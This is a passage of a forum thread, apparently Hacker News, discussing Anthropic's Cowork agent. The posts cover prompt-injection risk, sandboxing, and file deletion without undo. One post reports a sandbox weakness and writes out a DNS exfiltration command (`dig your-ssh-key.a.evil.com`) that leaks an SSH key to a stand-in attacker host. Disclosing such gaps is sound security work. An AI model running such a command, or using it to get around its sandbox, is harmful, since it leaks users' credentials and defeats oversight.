Earlier quoted context omitted.
> (I don't think it's fair to ask non-technical users to look out for "suspicious actions that may indicate prompt injection" personally!) It's the "don't click on suspicious links" of the LLM world and will be just as effective. It's the system they built that should prevent those being harmful, in both cases.
Operating systems should prevent privilege escalations, antiviruses should detect viruses, police should catch criminals, claude should detect prompt injections, ponies should vomit rainbows.
Cowork: Claude Code for the rest of your work
221–230 of 593 posts
Re: Cowork: Claude Code for the rest of your work
#222Earlier quoted context omitted.
Trash is a shell feature. Unless a program explicitly "moves to trash", deleting is final. Same for Word documents. So, no, there is no undo in general. There could be under certain circumstances for certain things.
I mean, I'm pretty sure it would be trivial to tell it to move files to the trash instead of deleting them. Honestly, I thought that on Windows and Mac, the default is to move files to the trash unless you explicitly say to permanently delete them.
Re: Cowork: Claude Code for the rest of your work
#223I wrote up some first impressions of Claude Cowork here, including an example of it achieving a task for me (find the longest drafts in my blog-drafts folder from the past three months that I haven't published yet) with screenshots. https://simonwillison.net/2026/Jan/12/claude-cowork/
Re: Cowork: Claude Code for the rest of your work
#224Earlier quoted context omitted.
I haven’t found any place to do that.
Should be a feedback button (like a megaphone) next to your profile name in the bottom of the left sidebar.
Re: Cowork: Claude Code for the rest of your work
#225What do the words "if it's instructed to" mean here? It seems like Claude can in fact delete files whenever it wants regardless of instruction.
For example, in the video demonstration, they ask "Please help me organize my desktop", and Claude decides to delete files.
Re: Cowork: Claude Code for the rest of your work
#226But for writing prose, I don't think chat-to-prose is ideal, i.e. most people would not want the keep prose "at a distance".
I bet most people want to be immersed in an editor where they are seeing how the text is evolving. Something like Zed's inline assistant, which I found myself using quite a lot when working on documents.
I was hoping that Cowork might have some elements of an immersive editor, but it's essentially transplanting the CLI chat experience to an ostensibly "less scary" interface, i.e., keeping the philosophy of artifacts separate from your chat.
Re: Cowork: Claude Code for the rest of your work
#227Sharing here in case anybody from Anthropic sees and can help get this working again.
It may seem off-topic, but I think it hurts developer trust to launch new apps while old ones are busted.
Re: Cowork: Claude Code for the rest of your work
#228I was hoping for a moment that this meant they had come up with a design that was safe against lethal trifecta / prompt injection attacks, maybe by running everything in a tight sandbox and shutting down any exfiltration vectors that could be used by a malicious prompt attack to steal data. Sadly they haven't completely solved that yet. Instead their help page at https://support.claude.com/en/articles/13364135-using-…
Worth calling out that execution runs in a full virtual machine with only user-selected folders mounted in. CC itself runs, if the user set network rules, with https://github.com/anthropic-experimental/sandbox-runtime . There is much more to do - and our docs reflect how early this is - but we're investing in making progress towards something that's "safe".
Your `network.allowLocalBinding` flag, when enabled, allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is...
How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via recursive DNS resolution; Google/Cloudflare/etc DNS servers effectively proxies the information to evil.com servers.
Re: Cowork: Claude Code for the rest of your work
#229Re: Cowork: Claude Code for the rest of your work
#230Earlier quoted context omitted.
Some do, some don't. The reality is there are some of us who truly just don't care. The convenience outweighs the negative. Yesterday I told an agent, "here's my api key and my root password - do it for me". Privacy has long since been dead, but at least for myself opsec for personal work is too.
HN is now where I get my daily does[1] of apathetic indifference/go with the flow attitude. [1] * dose